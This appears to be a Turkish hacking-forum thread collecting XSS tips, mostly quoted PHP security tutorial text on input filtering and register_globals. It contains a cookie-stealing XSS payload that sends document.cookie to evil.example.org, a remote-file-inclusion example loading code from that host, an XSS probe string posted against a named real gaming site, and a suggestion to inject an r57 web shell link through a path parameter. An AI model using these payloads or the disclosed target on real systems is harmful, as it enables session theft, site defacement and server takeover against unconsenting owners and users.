XSS Hakkında Bilgiler

[<MudVayne>]

Arkadaşlar artık xss diye bir başlık açmayalım xss ile ilgili her şeyi buraya yazalım.
Ayrıca bulduğunuz xss açıklarını yazabilirsiniz.
Teşekkürler.
RFI olan çoğu sitede XSS açığı vardır mesela index.php?sayfa=html kodu veya php shelliniz(iyi kodlanmı.

Detaylı bilgi/korunma yoları vs.

Çapraz Kod Çalıştırma (Cross-Site scripting)

Web uygulamaları güvenliği konusunda en yaygın olarak kullanılan ve bilinen güvenlik terimi çapraz kod çalıştırmadır (Cross-Site scripting) ve bu ününü hakedecek değerdedir. PHP ile yazılmış birçok açık kaynak kodlu projeleri zaman zaman XSS (Yazıda 'Çapraz Kod Çalıştırma' yerine kısaca kullanılacaktır) açıklarından kaynaklanan saldırılar yüzünden sıkıntı yaşamıştır.

XSS'in temel özellikleri :

*

Bir kullanıcının sahip olduğu güveni kötüye kullanma.

Web sayfalarına kullanıcılar genelde şüphe ile yaklaşırlar ama. tarayıcılar böyle değildir. Sunucu çerez gönderir ve tarayıcı bunu kabul eder. Ayrıca kullanıcıların siteye göre yada kullandıkları tarayıcıya göre farklı tarama alışkanlıkları vardır.
*

genelde web sayfaları dışardan veri alır ve bunları işleyir ve gösterirler.

XSS tehlikesi daha dışardan veri alan formalar, web tabanlı e-posta uygulamaları dışarı ile veri alış verişi üzerine çalışan bütün betiklerde (RSS beslemeleri (feed) gibi) kendini gösterir.
*

Saldırgan veriyi değiştirerek sayfada istediği herhangi birşeyi gösterebilir.

Dışardan gelen veriler kontrol edilmemesi saldırganın istediği içeriğin sisteme girmesine sebep olur. Bu durum saldırganın kaynak koduna erişmesi kadar tehlikelidir.

Dışardan gelen veri demek sadece kullanıcı tarafında dolduran formlarla gelen veri demek değildir. Web posta uygulamasında dışardan gelen bir elektrnik posta, dışardan alınıp sayfada gösterilen bir reklam veya başka uygulamaların (web tabanlı olmayıp ağda çalışan blog'lar gibi) kayıtları da dışardan gelen veri kapsamındadır.

Örnek olarak basit bir mesaj tahtası formunu inceleyelim :

if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}
");
fclose($fp);
}

readfile('./messages.txt');

?>

Burada formdan gelen mesaj metninin sonuna
ekleyerek dosyanın sonuna ekler.

Artniyetli bir kullanıcının aşağıdaki metni mesaj olarak yazıp gönderdiğini düşünelim.


document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document·cookie


Mesaj tahtası ziyaret edildiğinde Javascript kullancıyı evil.example.org adresine yönlendirir ve mesaj tahtası uygulaması tarafından atılan çerez bilgileri adres satırından evil.example.org adresine gönderilir

Tabiki gerçek bir saldırganın yapacağı saldırı daha yaratıcı ve zararlı olacaktır. Yukarıda verilen örnek çok basit ve zararsızdır.

XSS saldırılarını engellemek aslında çok kolaydır.Bu konuda veri kontrolü HTML yada Javascript ile tarayıcı tarafında yapıldığında kontrol dışı veri girilmesini engellemek oldukça zordur. XSS önlemek için :

*

DIŞARDAN GELEN BÜTÜN VERİLERİ KONTROL EDİN.

Bu belgenin genelinde söylendiği gibi güvenliğin temeli veri kontrolüdür.
*

PHP'nin sağladığı fonsiyonları mutlaka kullanın.

PHP'nin sağladığı fonksiyonlar (htmlentities(), strip_tags(), veya utf8_decode() ) bu konuda güvenle kullanılabilirler. Bu fonksiyonlar hızlı olmalarının yanında çokça denendikleri için hatalı olma olasılıkları çok düşüktür.
*

Beyaz Liste Yönetmini Kullanın.

Dışardan gelen bütün veriye tehlikeli gözüyle bakılıp kontrol edilmelidir. Örneğin, kullanıcı bilgileri ile ilgili bir formda soyadının alındığını düşünelim. Soyadının sadece harflerden oluştuğu için bu şekilde bir kontrol yapılmalıdır. Bu durumda O'Reilly ve Berners-Lee gibi soyadları kontrolden geçemeyecektir. Birkaç ekleme ile bu durum halledilebir tabiki. Bu durum göz ardı edilse bile doğru bilginin reddedilmesi çoğu zaman yanlış bilginin sisteme kabul edilmesinden daha az zararlıdır.
*

Değişken isimlendirme kurallara bağlanmalıdır.

Değişken isimleri veri kontrolünde çok yardımcı olabilir. Özellikle kontrol edilen ve edilmeyen verinin bir birinden ayırılmasında ve kontrol işlemleri konusunda yardımcıdır. Ayrıca programın sonradan değiştirilebilmesinde de geliştiricilere faydalıdır. İsimlendirmenin eksik veya yanlış yapılması ilerleyen zamanlarda güvenlik açıklarına sebep olabilir.

Yukarıdaki önerilere göre daha güvenli bir mesaj tahtası uygulaması şöyle olabilir :

if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);

$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message
");
fclose($fp);
}

readfile('./messages.txt');

?>

htmlentities() fonksiyonunun eklenmesi mesaj tahtasının daha güvenli hale getirmiştir ama
uygula tamamen güvenli değildir. Yukarıdaki önerileri dikkate alarak eklemeler yapılabilir.
alıntı.
*************
write by piskotilki
Fransanın güzel bir oyun sitesi
http://www.ngcfrance.com/news.php?operande=0&idx=';aler t(String.fromCharCode(88,83,83 ))//\';alert(String.fromCharCode(8 8,83,83))//";alert(String.fromCharCode(88 ,83,83))//\";alert(String.fromCharCode(8 8,83,83))//>!--alert(String.fromCharC ode(88,83,83))=&{}
PHP'ciler kodlarken dikkat edelim'

Register Globals
register_globals belirteci (directive) PHP 4.2.0 ve üstü sürümlerde ön tanımlı olarak kapalı halde (değeri OFF) gelir. Bu belirtecin açık (değeri ON)olması doğrudan güvenlik açığı oluşturmasa da ciddi bir tehlike oluşturduğundan değerine dikkat edilmesi gereklidir. Uygulamalar bu belirtecin kapalı olması durumuna göre geliştirilmelidir.

Bu belirtecin açık olması neden risklidir?. Bu konuda her seviyeye uygun örnekler bulmak zordur. PHP resmi sitesinde bu konu ile ilgili güzel bir örnek vardır.


if (yetkili_kulanici())
{
$authorized= true;
}

if ($authorized)
{
include '/cok/onemli/bilgi.php';
}

?>

register_globals'ın açık olması durumunda bu sayfa adres satırına ?authorized=1 eklenerek çağırıldığında çok önemli bilgiye ulaşılmış olur. Bu tamamen programlama hatasıdır, register_globals belirtecinin oluşturabileceği tehlikeyi göstermek için basit bir örnektir. register_globals kapalı olduğunda programcı tarafından oluşturulan değişkenler dışarıdan müdahele ile (?authorized=1 gibi) değiştirilemez. Açık oması durumunda ise değişkenler tanımlanırken bir ilk değer verilmelidir.

register_globals'ın çıkarabileceği bir diğer tehlikeli duruma include fonksiyonunun kullanımı örnektir:


include "$path/script.php";

?>

register_globals açık olduğunda bu sayfayı adres satırına ?path=http%3A%2F%2Fevil.exampl e.org%2F%3F eklenerek çağırıldığında aşağıdaki gibi bir sonuç çıkar.


include 'http://evil.example.org/?/script.php';

?>

Eğer allow_url_fopen açık ise, ki php.ini de öntanımlı olarak açıktır, bu kod http://evil.example.org/ deki script.php dosyasını sanki aynı makinada bulunan bir dosya gibi çalıştırır. Bu birçok açık kaynaklı uygulamalarda ortaya çıkmış ciddi bir tehlikedir.

Tanımlandığında $path değişkenine bir ilk değer verilerek bu engellenebilir. register_globals'ı kapatarak ta bu engellenebilir. register_globals'ın kapalı olması bu ve bunun gibi programcı hatalarından kaynaklanan açıkların kapatılmasını sağlar.

Formdan gelen ve dışardan gelen verilerin işleneceği durumlarda programcıların bu durumu (register_globals) dikkate almaları gerekir. $_POST ve $_GET dizilerinin kullanılması bir önlemdir. Fakat tehlikeyi tamamen engellemez. Yukarıda da belirtiğimiz gibi değişkenlere başlanğıç değeri verilmesi çok önemlidir. Bu bölümde anlatılanlar register_globals'in bir güvenlik açığı olduğunu göstermez ama kapalı olmasının bir bazı tehlikeleri önlediği kabul edilen bir gerçektir. Ayrıca değerin kapalı olması programcıların kullandıkları değişkenlerin kaynaklarını bilmeleri ve düşünmeleri,ki bu iyi programcının özelliklerindendir, konusunda zorladığı için de faydalıdır.

alıntı.

gördüğünüz gibi
include "$path/script.php";

?>

yanlış kodlama nedenıyle www.siteadi.com/?path= ister r57 linkini yazın ister xss bu yuzden lütfen dikkat edelim!

Kaynak:Hayaletiz.Net
Bilgilendirmedir kullanmayın!